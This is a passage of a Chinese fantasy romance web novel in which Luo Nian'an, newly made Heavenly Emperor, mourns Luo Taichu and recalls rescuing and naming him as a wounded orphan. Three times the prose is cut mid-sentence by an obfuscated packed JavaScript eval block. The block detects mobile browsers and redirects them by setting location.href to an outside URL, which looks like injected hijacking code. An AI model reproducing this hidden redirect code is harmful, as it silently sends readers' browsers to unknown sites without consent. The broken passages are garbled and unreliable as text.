与此同时，金光从脚底蔓延，往周遭扩散开来，直达远方。似净化之水，洗去满地污秽。 度化术本是极为消耗灵力的术法。 洛念安长叹一口浊气，缓缓睁眼。她再也无法忽视耳边的哭嚎声，凄凄惨惨戚戚，见身后之人都围了过来，她询问道：“你们可有听见何种声音？” 柳渊蹙眉道：“似有哭声？” 在其余人正努力寻找着哭声来源之时，一直沉默的叶蓉开口道：“万鬼同哭。” 洛念安看向她，正对上一双猩红的眼眸，一瞬间，便明白了是何意思。她别开视线，转过身去。 柳渊尚搞不清楚状况：“万鬼同哭？他们在哭什么？” 赫连昭一巴掌拍上他的肩头。 柳渊捂住肩膀，疼得龇牙咧嘴，瞪了他一眼，在他的疯狂示意下，注意到了洛念安微微颤动的肩头，瞬间闭了嘴。 洛念安握紧拳头，指甲几乎陷进肉中，如此，才能扼住自己不发出声音。她抓住袖子，胡乱擦拭着面颊，艰难出声道：“走吧......还有事情要处理。” 她说着，往前走出几步，正欲开启虚空之境，眼前忽然一黑，没了意识。 ...... 半月后，中天珈洛大帝继任天帝之位。神界纪年更为珈洛元年。 “帝君，此为大战贡献榜单，奖赏已按排名分发完毕。此为您近日在人间新增神庙分布图，按照您的意思，叶蓉姑娘的神……鬼像也供奉在其中。上神年度功绩榜单尚在排名当中，不日便会整理出来。”启灵坐在玉案对面，一五一十汇报着。 “辛苦真君。”洛念安微笑接过卷轴，展开垂眸大致扫了一眼，又问道，“年度功绩榜单是何时开始设下的？” 启灵的视线从她身旁铜镜内显现的天极雪莲上移开，回道：“若算时间，应是颜无双设下。” 洛念安视线一顿，抬眸看向启灵，须臾，出声道：“取消吧。日后非错，只赏不罚。” “是。”启灵应下。 洛念安将卷轴卷好放置一边，又道：“辛苦真君。” 启灵道：“在其位谋其职，帝君不必客气。” 洛念安无奈道：“您私下里也实在不必与我这样客气。” “……”启灵抬手摸了摸下巴上不存在的胡须，道，“好吧。那帝君，我真有一事想提醒您。” “您说。”洛念安一边查看着其他事宜，一边静待下文。 启灵道：“帝君重伤将愈。人界信徒数目越来越多，本就事情繁杂，既要兼顾神界之事，又将太阴仙庙的信徒祈愿尽数揽下亲力亲为，即便您能分出成百上千个分身忙碌，但分得越多，消耗便越大。您还将天极雪莲与自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15145712|152665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的神脉相连，日日损耗修为将养，长此以往，定会吃不消的。” 他言辞中的担忧真切，洛念安抿了抿唇，抬眸看向他道：“多谢真君提醒，只是我心中有数。人界事宜，尚有叶蓉替我分担。真君不必担心。” 启灵望着她，半晌，轻叹一声道：“罢了，你一直都是这样的犟脾气。” 洛念安无奈笑了笑，又问道：“云祉他近来如何？” 启灵道：“听闻他一直将自己关在殿中，大门不出二门不迈。” 洛念安将手中的卷轴放下，叹息道：“我是不是做错了？不应该将事情原原本本告诉他？” “帝君尚未告知其真实身世，倒也不算原原本本。一时无法接受也正常，但他不能一直活在众人编织的谎言中。”启灵道，“孩子嘛，终归要长大的。” 启灵离开后，司命星君又紧随前来。 “参见帝君。” 洛念安闻声抬眸，微笑道：“星君不必多礼，请坐。” 司命走到玉案前，坐定后，从袖中掏出一卷卷轴双手递上：“帝君所要，九黎族苗驰生平正记录在此。” 洛念安怔了怔，目光落在那卷轴之上，伸出的手一顿，手指微蜷，又接过。她尚未展开，便问道：“它一直在星君那处吗？” 司命摇头：“并非。” 果然。 洛念安的视线落在手中的卷轴上，深吸了一口气，不自觉紧张起来。她缓缓展开卷轴，字迹尚未显露，又猛地合上。半晌，她将卷轴放至手侧，似对他人言说又似喃喃自语：“我......我晚些再看。” “帝君。”司命忽然出声。 洛念安抬眸看她。 司命的眼神始终平静似潭水，从无风过，波澜不惊。她轻声道：“神之所以称为神者，是大爱万物生灵，护天和地和众生和，如此，天神是神，人神是神，鬼神亦是神。” 洛念安眸光闪烁，闻言怔愣半晌，又牵起几分笑意：“多谢星君。” 司命微微颔首，起身道：“帝君先忙，司命告退。” 洛念安点头：“星君慢走。” 目送司命离开，洛念安侧目看了一眼铜镜内天极雪莲的情况，将案上的物件整理好，便起身离开。 极北之地的寒气如利剑般钻心刺骨。洛念安步至雪莲旁盘腿而坐，双手落在膝盖上，拇指搭着中指，体内灵力波动，金光霎时将一神一花笼罩。 她垂着眸，看着雪莲上闪烁着的点点银光，缓声道：“小初，我这几日，总是做梦。梦到许多年前你我之间的故事，也因此记起了许多。”她微微一笑，嘴角尚未扬起便落了下来，“只是梦醒又徒增伤感罢了。” 她的声音很轻，唯恐稍大一些，惊扰了它。 “阿离最近胃口不佳，许是没了你的投喂，不太习惯吧。不过你放心，我伤好后日日都去喂它，这两日吃的倒是比前几日多了些。” “安乐殿的玉兰花落了许多，孔玉说那花本依着你的法力而生。我已经学会了类似的术法，玉兰树又开了许多新的花，很美，同你在时一样，待你回来便能瞧见了。” “......” “小初，你何时回来呢？” “......” “小初，我很想你。” 82. 忆往昔贫苦岁月愁 “不要忘记我。” 洛念安猝然睁眸，从睡梦中惊醒，脑中思绪尚未清明，来不及辨出发生了何事，泪水却止也止不住地从眼角滑落。 她躺在榻上，无声流泪半晌，才反应过来那是个梦境。 她总是梦到那一幕，痛苦钻心刺骨，令人窒息。 洛念安坐起身才能喘上一口气，面上的泪水越擦越多，止也止不住。 不出意外的话，今夜又是一个无眠夜了。 她在床榻上坐着，盯着不知名一处出神，不知过了多久才平复下来。 洛念安下床，黑暗在她面前撕开一条裂缝，她前脚迈入裂缝，后脚便出现在了安乐殿内。 今夜是月圆之夜。 在数不清的无眠的夜里，她都会来这里，坐在廊下，借着月色赏花，借着繁花赏月。她现在尤其喜爱天上的皎月，每每抬头看月，她都会祈祷，祈祷月神能将她心爱之人带回身边。只是一人独坐难免寂寞，洛念安缓缓走着，穿梭在玉兰花间，芳香扑鼻，霎时间，仿若置身于一个温暖而又熟悉的怀抱。 不知不觉间，洛念安也不知自己走到了哪里，若是现在不慎迷路，大抵是没有人会恰好出现，再带着她回到寝殿。 洛念安四下看了一圈，又觉得此地眼熟，半晌，才反应过来，寻着记忆往前，来到了檐下的岔路口。她扭头往右侧看去，若没记错，那里是一座空牢。这样想着，洛念安的视线转向左侧，她记得上次刚想去探索一番时，被突然出现的洛太初打断，并带走了。 洛念安原地驻足片刻，鬼使神差地，脚步一转，往左侧走去。 岔路往左有一侧石壁，这处两侧都是石柱，看似与旁的地方并无两样。洛念安无所事事地继续向前，走着走着，便走到了尽头。面前只有一座石壁，除了石壁，周遭十分干净，并没有类似机关的东西。洛念安原地来回走了两圈，半晌也没想通这条道路存在的意义。 或许是单纯用来散步？ 这样想着，洛念安停在石壁面前，抬眸细细看去，发现这砖打磨的十分平整，砌墙的手艺也是顶好的。 洛念安莫名点头，连声道：“不错不错。” 话音未落，面前的石壁忽然裂开一道缝隙。 洛念安一愣，顿时闭了嘴。她往后退了几步，惊讶地看着面前的缝隙越来越大，墙壁缓缓向两侧移动着，不消片刻，便开了一条容人通过的小道。 洛念安愣了一会儿，抬腿试探性走了进去。眼前一片漆黑，内里伸手不见五指，她正欲托起掌心焰看看情况，身侧忽然窜起一蹙火苗，往两边蔓延开，光亮瞬间袭来，洛念安尚未反应过来，被这光刺得闭上双眼。适应片刻，才缓缓睁开。 身后传来异动，洛念安的注意力被吸引过去，见到是石壁闭合，才回眸过来往里看去。 入眼的便是一件粉底鎏金凤尾裙衫，架在房屋正中，异常华丽耀眼。 洛念安眸光一凝，迈步朝那件华服靠近。初见只觉眼熟，再细细端详一番，洛念安猛然顿住。 这不是……她过去的旧衣吗？！ 洛念安惊愕万分，记忆冲破屏障，越至五百年前，他们初见那天。 那时，他只是孩童，尚不知其名。 …… 洛念安救下那从高楼掉下的小孩子后，有人提醒：“快带那孩子去医馆找个大夫瞧瞧吧，浑身是血。” “医馆？大夫？”洛念安初到人界，心中疑惑，虽不知人间的叫法，但她也知道在神界受了伤该找仙医官，猜测大概是如此，又想起游荡时似乎确实看到过有牌匾上写这么两个字，便抓紧抱着那小孩子离开。 循着记忆进了医馆。有大夫迎出来，洛念安道：“快看看他的伤。” 说着就要把小孩子放到椅子上。准备松手，却发现他紧紧攀着自己的肩头纹丝不动，洛念安觉得好笑，摩挲着他的后背轻声安抚道：“没事的，让仙……大夫看看你身上的伤，不然严重了会死的。” 那大夫看了一眼洛念安，再看向她怀中的小孩子，忽地面露难色，又看了一眼洛念安，神色才恢复如常。 这边洛念安安抚了好几句，才将小孩放下来。大夫上前来，首先就是要拆他脸上的绷带。小孩子却极力反抗不让他动。 “这……”大夫看向洛念安。 洛念安上前来蹲在他身边，轻声道：“拆了绷带才能治你的伤啊，你配合一下这位大夫好不好？” 小孩子沉默不语，本来看着洛念安的大眼睛听言又转向另一侧，满身写着抗拒。 “……”洛念安只能无奈地对大夫道：“那就先看其他的伤吧。” 见大夫要脱他的衣服，洛念安准备到门外去等着。谁知她刚一转身，就听见身后的大夫“诶”了一声，接着自己的裙摆就被人紧紧攥住。 她回头看去，见小孩子攥着她的裙摆，巴巴儿地望着她，那眼神颇有些楚楚可怜。 洛念安有些哭笑不得，伸手握住那只黢黑的小手，道：“你好好配合大夫，我就在外面等你。” 见他依旧不撒手，洛念安保证道：“真的，我不会骗你。” 大约一刻钟后，大夫掀开门帘走了出来，先是叹了一口气，才对洛念安道：“外伤都处理好了，你走之后，他也愿意解开脸上的绷带。只是这孩子肋骨断了两根，左胳膊也有轻微骨折，右脚踝扭伤，肿的老高。” 洛念安试图理解了一下，然后问道：“很严重吗？” 她能感受到大夫的沉默，随即听到他有些气急败坏地道：“当然严重！按理说他应该躺在床上动都动不得！” 洛念安能从他陡然拔高的声音里听出事情的严重性，沉默片刻，又抓住了另一个重点：“他的脸上为何缠着绷带？” 大夫从他们的穿着打扮上猜出了两人应该不是一道的人，于是道：“他啊，脸上有……哎哟！” 两人都被突然出现在身边的孩子吓了一跳，只是大夫的反应更激动一些。 大夫惊魂未定：“这孩子，你跑出来做什么？诶？！按理说你应该是走不了的啊！” 小孩似乎想抓洛念安的衣摆，但是看了看自己的手，又看了看她那身粉面金丝华丽无比的裙衫，顿了一下，缩回手，依旧是抬着头，定定地看着她。 大夫对着小孩子左看右看上看下看，摸着胡子思索良久，口中念念有词：“真是奇了，这怎么还能看着跟没事儿人一样，真是奇了，奇了……” 洛念安不懂他为何如此神神叨叨，伸出一只手递给那小娃娃。明显感觉到对方怔了片刻，才抬起胳膊牵住她的手。 “罢了，我去抓点药，你把他带回去好生将养着。” 洛念安接过大夫递来的药，牵着小孩欲出门离开。 “诶，诶？诶！不给钱呐？”大夫追着拦在她面前。 “钱？”又是这个东西，洛念安不解且理直气壮：“何为钱？我没有。” “没钱你来看什么病啊？！”大夫急了。 洛念安更不解：“救人一命胜造七级浮屠，为何要钱？” “诶？！我不赚钱我吃什么喝什么？” “外面街上都是，也没谁拦着不让你去。” 大夫一插腰：“我看你就是没钱想抵赖的！今天不给钱你就走不了了！” 话音刚落，洛念安就发觉手上一松，那小孩猛地冲了上去，一下子将大夫扑倒在地，对他又是咬又是捶又是踢的。 眼见着外面围上来的人越来越多，洛念安一是想起大夫说这小孩子不能动，二是怵自己又要被抓进那个又黑又脏的地方。忙上去把小孩子拉开抱进怀里，对那大夫道：“你放肆！本宫乃公主殿下！” 那大夫被打急眼了，跳起来道：“我呸！什么狗屁公主殿下？我看你是失心疯了吧？有哪个公主殿下连个看病抓药的钱都给不起的？！”他边说边往人群走：“大家快来瞧快来看啊！有人带孩子来看病不给钱还打人！你们说这是什么道理？！还说自己是什么公主殿下！” 洛念安眼见人们看向她的目光变得古怪，然后开始窃窃私语，接着对她指指点点。 忽地，一股巨大的无力感伴随着恐惧席卷而来，将她淹没，瞬间沉底，连挣扎的机会都没有。她只能徒劳地说着一些苍白的语言：“不是的，不是这样的！本宫是公主殿下，本宫就是公主殿下！” “什么人啊？” “就是，怕不是穷疯了吧，脑子患了病。” “笑死我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15151310|152665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，连看病的钱都给不起，还说自己是公主殿下，她要是公主殿下，那我岂不就是皇帝老子？” “真是疯子年年有今年特别多。” “她身边那小乞丐是谁啊？不会是她弟弟吧？我看她那身行头该不会是她弟弟乞讨来的吧？” “说不定背地里还做些什么见不得人的勾当，被哪个富老爷看上才置办的这身行头呢。” “可不是嘛。” 流言蜚语如利箭射来，将洛念安刺了个千疮百孔。她蹲在地上一只手捂着耳朵，一只手拉着又要冲出去的小孩儿。他被拉着，到也没往外冲，只是转过身来，牵起洛念安的另一只手捂住她另一只耳朵，然后两只小手覆在她的手背上，和她一起，抵御着流言的入侵。 洛念安跑了，一路上跌跌撞撞，比一开始到这里的时候更加迷茫。她百年养尊处优，从未如此狼狈不堪丢人现眼。 不知过了多久，洛念安才听到身后紧跟着的脚步声。反应过来后发现自己已经跑出了城外，穿进了一片树林里。 她停下脚步，回头往身后看去。 是那个小孩子。 “……” 他不是受了很重的伤吗？是怎么一路跟着跑过来的？ 见洛念安停住，他也停下脚步，和她隔了一段距离，没有继续走到她身边，也没有离开。依旧是那样，专注地看着她，只是此时，他那双大眼睛里充斥着本不属于他这个年纪的担忧。 相顾无言许久，洛念安总算找回了自己的声音：“……你不回家吗？” 小孩子摇摇头。 洛念安委婉道：“你，是小哑巴？” 小孩子依旧摇摇头，但总算是开了口：“不是。” “哦，”洛念安莫名松了一口气：“那，你不回家吗？” 他还是摇头，道：“我没有家。” 洛念安朝他走近一步：“你的父母呢？” 小孩子平静地道：“都死了。” 洛念安被噎住，张了张嘴却不知道该说什么。沉默间，她已经走到那小孩面前，蹲下身子，平视着他，她很想安慰他，于是道：“我也没有家。” 他声音小小的：“你爹娘也死了吗？” 却颇有些震耳欲聋。 洛念安沉默了一下，道：“那倒没有。不过我被赶出来了。”顿了顿，她继续道，“他们不要我了。” 听到这，他伸出手，轻轻握住了洛念安搭在膝盖上的左手的小指。 洛念安垂眸看了看那只小黑手，她明白他的意思，又想到被众人谩骂时，他帮忙捂住自己耳朵的举动，发自内心地笑了笑。片刻后，又问道：“我该怎么称呼你呀？” 小孩子摇头。 洛念安歪头：“摇头是何意？你没有名字吗？” “没有。” 洛念安觉得不可思议，思索了一下，道：“不应该吧，每个人都应该有名字吧。比如说我，我……” 她话还没说完，小孩就抢答道：“你是公主殿下。” “……”洛念安盯着他看了半晌，忽地笑了，带了些苦涩和自嘲：“但我现在好像不是了。” 那小孩却认真无比地道：“你是的，你就是的。你看起来就应该是公主殿下。” 他天真的话拨散了一些罩在洛念安心底的阴霾，她挑起眉：“为何这么说？” “因为……”他嗫嚅着，低下了头，满脸的绷带让洛念安看不见他脸上的表情，只能勉强听见他道：“反正你就应该是公主殿下。” 洛念安愣了愣，又轻轻笑出了声。扶着他的胳膊将他往怀里带，问道：“你年岁几何？” “十岁。” 洛念安不清楚人间十岁的小孩子是怎样的，只是觉得他太小了，又瘦又小，她抱着都毫不费力。这么想着，她就抱着他站起身。感受到小孩子在怀里的扭着腰，似乎有些抗拒，她微微一怔，想到郎中说他伤得很重，便问道：“怎么啦？是不是哪里不舒服？” 小孩子摇头，小声道：“我太脏了，会把你这件漂亮的衣服弄脏。我会自己走的。” 洛念安一边想笑，一边又觉得心里发酸：“你受伤了，再说脏就脏了吧，反正这么多天它早就不干净了。” 83. 忆往昔贫苦岁月愁 如此说着，她才反应过来八月的人间还有些凉意，怀里这孩子穿的破破烂烂到处漏风，洛念安便要想办法给他弄一身厚的新衣裳穿穿。 她刚想问他在哪里能沐浴，后知后觉想着他也不太像是会沐浴的人，闭了嘴。后又想起这几天听人提到的最多的东西，边走边问道：“钱是什么？” 小孩子乖顺地攀着她的肩膀窝在她的怀里，闻言微微抬起头，道：“是买东西要用到的，给钱别人才会把东西给你。” “买东西？”洛念安下意识反问了一句，思考了一会儿，又问道，“那我去哪里可以得到钱呢？” 怀里的小孩沉默了一会儿，然后道：“我可以赚钱，我可以帮人跑腿赚钱。” “赚钱？”洛念安被迫接受着新的东西，又问道，“既然你能赚钱，为何不给自己买一身新衣服呢？” 小孩子又趴上了洛念安的肩头，说话的声音闷闷的：“我能赚的钱也不是很多，都拿来买吃的，或者被其他的乞丐抢走。” “乞丐？乞丐是什么？”说话间，他们已经进入了城里，洛念安避开了之前去的那两条街，拐向其他地方。 正走着，迎面走来一位身着黑白衣裳的女道士，擦身而过时，那女道士的荷包掉在了地上。洛念安蹲下身子捡起，站起身回首喊住了她：“道长，你的东西掉了。” 那女道士停下，转身望向她，微微一笑，又望向她怀里的孩子，顿了顿，才走上前来接过荷包：“多谢。” 洛念安转身欲走，却听见女道长喊住了她：“这位姑娘，你似乎遇到了一些困难。” “？”洛念安停下来看她，这女道士看起来很年轻，臂弯处挂着柄拂尘。 女道士笑得和善，又将手里的荷包递出：“缘来则聚。想必这物什与你有缘，便赠与你吧。” 她再次递来时，那荷包开了个口，洛念安刚想拒绝，就听见耳边响起一道童声：“好多钱。” 听他这么一说，洛念安倒是往里瞥了一眼，是一堆白花花的银子，只一眼她又看向女道士，道：“无功不受禄。” 女道士闻言轻轻笑了笑，点头道：“也罢。那姑娘，我们有缘再会。” 洛念安点头，转身继续朝前走去。她问小孩儿：“我们刚刚说到哪了？” “乞丐。”小孩子抬起头，四下看了一圈，指着街口的角落里跪着、趴着、躺着浑身脏脏兮兮，破破烂烂的一些人，道，“就是他们这样的人。” 洛念安顺着指引看过去，脚步微顿，道：“他们都没有家吗？” 小孩子点头：“嗯，有的是疯子，有的是傻子。” “……”洛念安看向他，忽地想起在楼下的人群里有人说他是个小乞丐。 小孩对上洛念安的视线，似乎是读懂了她的意思，开口道：“我不是乞丐。我自己赚钱，不会伸手找别人要钱。” 洛念安意识到自己的眼神太直白，垂下眸，拍了拍他的脊背：“那你很厉害啊。” 他好像被夸得有些不好意思，又把头埋进洛念安的肩膀。 洛念安轻轻笑了笑，笑了一会儿笑不出来了，开始苦恼应该去哪弄到钱。 “公主殿下。” “本……”洛念安下意识要答应，又猛地顿住，反应过来后，她低声道：“你不用这样唤我。” “……那，姐姐。” 姐姐？ 洛念安的父母除她之外并无所出，身份在此，也从没人这要唤过她，猛地被人喊“姐姐”，不免觉得十分新奇。她兀自笑了笑，接着道：“嗯，何事？” “什么是无功不受禄？”他歪着头看洛念安。 “意为，无功劳便不可无故接受恩惠。” “就是不可以伸手白白问人要钱，而是应该替人跑腿，然后再拿钱，对吗？” “聪明。” 再次被夸，小孩又埋进了洛念安的肩膀。其实他埋不埋都无所谓，毕竟洛念安实在没法透过他满脸的绷带看清他的表情。 提到这，洛念安想起那袋白花花的银子，问道：“那就是钱？可是我看街上的人不是用银子交换。” 小孩子有问必答：“金银是大钱，还有铜板也是钱，不过是小钱。” 金银？ 洛念安停在原地，蹲下身子将小孩子放了下来，摘下自己手指上的那枚工艺繁杂精美绝伦的金指环，对着他道：“那我这个是否也可当钱花？” 那小孩盯着这枚指环看了半天，点头道：“这个看起来很值钱。” “值钱？不能当钱花吗？” “太多了，可以换成很多小钱。”小孩是这么说着，接下来却把戒指又戴在洛念安的手指上，话锋一转，“不过，你不用当掉自己的饰品，若你需要钱，我可以去挣。” 洛念安看出他那双大眼睛里流露出来的坚定，忍不住弯起唇角。虽然已经拿定主意，但面上还是道：“好啊，不过我们现下先找地方沐浴可好？” 话音刚落，她就听见对面肚子里发出的声音。 洛念安笑着补充道：“再去吃点东西。” 眼看着小孩的头要低到地底下去，她又将人抱起，问道：“所以，何处可沐浴？” “可以去客栈。但是姐姐不是没有钱吗？” “……谁说我没有。” “可是……” 洛念安捂住他的嘴巴，道：“没有可是，我说我有就是有。” 半个时辰后，洛念安从客栈溜出来，多方打听到了当铺，然后拿着换来的银子转向成衣铺。等一切搞定，带着东西回到客栈，付过房钱，将东西往桌子上一放，对着里屋洗澡的孩子道：“我给你买了新的衣服，你那件破……旧衣服就别穿了。” “好。”听到里面传来清清亮亮的童声，洛念安便转到隔壁房间也开始沐浴。三天没有沐浴，实在是到了她忍受的极限，只是过惯了被人伺候着沐浴的日子，第一次自己一个人沐浴，弄的汤汤水水洒了一地，中途滑倒一次，呛水一次，是的，她也不知道自己为什么会在浴桶里呛水。因为没有香炉、花瓣而郁闷一次，嫌弃劣质皂荚一次。 等洛念安沐浴完出来，那小孩已经坐在桌边等她了，桌上摆着几道菜。出来时他正目不转睛地盯着面前的佳肴，洛念安一出来，他又改成目不转睛地盯着她，看的出神。 洛念安湿漉漉的长发披在身后，换上了刚买的白色长裙，远不及她原本那件华丽，有些过分朴素，却更衬得她姿容如玉，神韵脱俗：“怎么不吃东西？看着我发什么呆？” 小孩回神，又低下头，小声道：“在等你。” 洛念安坐到他对面，这才发现洗干净的他肤色很白，穿着新买的那件黑底白边绣着金丝花纹的长衫更显得他肤如白雪。头发也洗干净了，散在身后，两边露出几缕，打着卷儿。只是脸上还缠着绷带，看样子是自己重新缠上去的。 她仍是觉得惊奇，这小孩不是受伤了吗？ “姐姐。” “嗯？”洛念安边回应边动筷。 “你的指环呢？” “……”手上的动作微微一顿，洛念安面不改色道：“刚沐浴完，没戴。” “不对，你把它当了。” 谎言被拆穿，洛念安微微有些汗颜。她无奈笑笑，道：“这……确实是需要用到钱嘛。” 对面没有再说话，沉默着低头扒饭。 “……”洛念安能察觉到他的不愉快，事实上，她从懂事起就能敏锐地察觉到每个人的情绪变化，父君的，母后的，各种人的。面对父君母后，她总想积极表现着自己的贴心和懂事，以求他们的亲近和表扬。而其他人，她就算注意到了，也不需要不屑于去管。可是看着对面的孩子，她还是出声道：“没关系的，这样的指环我有很多个，平日里丢一两个都见怪不怪，它也算是物尽其用。” 他总算抬起头，眨巴着眼睛：“真的吗？” 见他眼里的灰色渐渐消散，洛念安笑道：“当然，我可是公主殿下。” 就算人间不承认也没关系，毕竟她是神界的公主殿下，神界肯定是承认的。 见他渐渐狼吞虎咽起来，洛念安提醒道：“慢点吃，小心噎着。” “我从来没有吃过这么好吃的东西。”小孩的眼睛亮晶晶地看着洛念安，“姐姐，谢谢你！” “谢谢？” “嗯！母亲说，受了别人的恩惠就要说谢谢。” 洛念安已经吃饱了，放下筷子，托着腮看着他，笑道：“还从来没有人教过我说谢谢。” “你的母亲不教你吗？” 洛念安想起那位一年不知道见几次面的母后，敛了笑意，微微摇头：“没有，她从未教过我什么。有其他的夫子教我，不过也没告诉我这些。” 小孩子点点头，理所当然道：“也对。姐姐是公主殿下，自然不需要跟任何人说谢谢你和对不起。” 洛念安默默无言，只静静地看着他继续吃饭。末了，见他吃饱，便问道：“你今后有何打算？” 她眼见着小孩子的眼睛里起先是充满着疑惑，随后疑惑消失，又染上浓郁的失落。 洛念安解释道：“我现在漂泊无依，居无定所。你若跟着我，恐怕是要过苦日子。” 对面的人突然站起身，离开座位，走到洛念安面前，双手搭上她的小臂，露出来的眼睛里满是可怜和哀求：“我不怕的，我一直都过着苦日子，不会再苦了，而且我觉得跟着姐姐的日子一点都不苦。姐姐，你带着我好不好，我很乖的，我可以跑腿赚钱，我也不会吃很多饭的，求求你带着我好不好？” “......”洛念安微垂着眸望着他，脑子里忽然浮现出另一个人的样子。 “母后，你留下来陪我好不好？我很乖的，不会惹母后不高兴的。” “母后，启灵真君今日夸我了，您留下来陪陪我，我告诉母后今日所学，好不好？” “母后......” 曾经她一声一声“母后”的喊，一遍一遍的叫，一次又一次地表现着自己的乖巧、聪慧、善解人意，却从未求得心之所想。 难道她就不曾看到自己眼中的乞盼和哀求吗？ 看到了吧，只是不想回应而已。 小时的模样在眼前散去，取而代之的是面前这个孩童的脸。洛念安回神，眨了眨有些酸涩的眼睛，重新看向巴巴等着自己回应的孩子，勉强笑道：“好，那你往后就跟着我吧。” 他明显是笑了，声音都染着笑意：“谢谢姐姐，姐姐真好！” 小孩子得到洛念安的同意后，又坐回去继续吃饭，打着不能浪费的名义把桌子上的饭菜一扫而光。 洛念安看他吃得香，忍不住问道：“需要再添一些吗？” 他摇头：“不用了姐姐，我吃饱了。我平时真的吃的很少的。” 洛念安无奈笑笑：“你正在长身体，就应该多吃一些才对。” 他还是摇头，洛念安也不多说。吃完饭天色也暗了下来，外面却忽然热闹起来，敲锣打鼓，人声鼎沸。洛念安起身走到窗边，推开窗户，一眼就看到了挂在天边的银色大圆盘，接着才垂眸往街道上望去，下面人头攒动，热闹非凡。 “外面好生热闹。” “是啊，”小孩子来到洛念安身边，和她一起抬头看天，又扒着窗子往下看去，最后看向她，“今日是中秋节。” 洛念安微微一愣，又抬头看向天边的明月，喃喃道：“中秋节吗？那今日应该是与家人团聚的日子。” 小孩子只望着她，不说话。 洛念安盯着月亮发呆，没人知道她看的是月亮，或是透过月亮看向其他地方。无言良久，洛念安才回过神，看向身边的小孩子，笑了笑：“你我在这团圆日相遇，实在有缘。” 他似乎是笑了，但是没有说话。 “你真的没有名字吗？” “没有。” “那不如，我给你起一个？” “好啊。” 洛念安思索了一会儿，道：“既是我起，不如就冠我之姓。我姓洛，名念安。你就也姓洛，名太初。太初者，气之始也。洛太初，如何？” 洛太初睁着大眼睛定定地望着她，郑重点头，道：“好。” 洛念安摸了摸他的脑袋，笑着望向他：“那以后你就叫洛太初了，你已经不是一个没有姓名的小孩子了。” 她坐在窗边看了一晚上的月亮，洛太初起先非要陪她一起，最后耐不住洛念安一遍遍地催，说他有伤，才去床上睡了。她一直在想着自己接下来的日子该怎么过，思来想去却只有茫然无措，漂泊无依。 “姐姐……” 洛念安听着声音回头，却见着发出声音的人在床榻上睡的正香。她盯着他望了半晌，弯唇笑了笑。也还好，最起码有个人正陪着她。 第二日，洛太初询问洛念安有没有什么安排。两两相望，唯余无言。于是洛太初提议去寻一处住的地方。 洛念安问道：“你之前住哪里？” 洛太初答：“没有，我随意找个角落就能睡了。” 洛念安又问：“你父母在时，也没有住处吗？” 洛太初又答：“有的，不过不在这里。我不是这个地方的人。” 见洛念安又要开口问，洛太初抢先答道：“总是被人针对欺负，我就跑出来了。” “……”洛念安闭嘴了。闭了一会儿，又开口道：“可是这里也能住啊。” “可以是可以，”洛太初已经在收拾东西了：“但是太贵了，要花很多钱， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15160428|152665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不可能一直住下去的。” 洛念安了然点头：“这样啊。” 眼见着洛太初已经叠好了自己那件华丽的裙衫，再是中衣，再是…… “等……”洛念安话还没说完，洛太初已经从脖子红到了耳朵根，飞速把手上的东西叠好塞进了布袋，再把洛念安的其他衣服一件一件整整齐齐的放进去堆叠在上面，扎好布袋，扛在肩上。他没有自己的东西，他原来的那身破烂洛念安让拿去扔了。那个大大的包袱扛在小小的他身上，莫名有些滑稽。 洛念安边掩唇轻咳边起身，佯装无事道：“我来拿吧。” 洛太初的脖子和耳朵根依旧是红的，眼睛都没看洛念安，摇头拒绝。 “那好吧。”洛念安也不多纠结，走上前去一把将洛太初抱起来，就往出走。 洛太初的头埋在她的肩膀上，小声道：“我自己可以走的。” “可是你受伤了。” “一些小伤，已经没事了。” 洛念安不听他的，道：“我现在还能抱得动呢，说不定等过两年，你长大了，我就抱不动咯。” “……”洛太初没出声，头一直埋在她的肩膀上没抬起来。 洛念安在街上漫无目的地走了一会儿，每路过一个人都要盯着她看几眼。她有些无奈，问道：“我们该去哪呢？” 洛太初才抬起头，道：“城里，或者城外。” 想起昨天的经历，洛念安果断道：“城外。” 洛太初道：“城外往东有一条小河，沿着河走有一处村庄，我们可以去那里看看有没有空房子。” 洛念安知道那条河，她喝过那条河里的水。于是道：“好。” 他们一路沿着河边走，这条河很宽，靠近岸边的位置水浅，且清，时不时能看见有小鱼一晃而过。山青，水秀，风温柔。洛念安忍不住弯弯唇：“若是能依水而住，倒也不赖。” 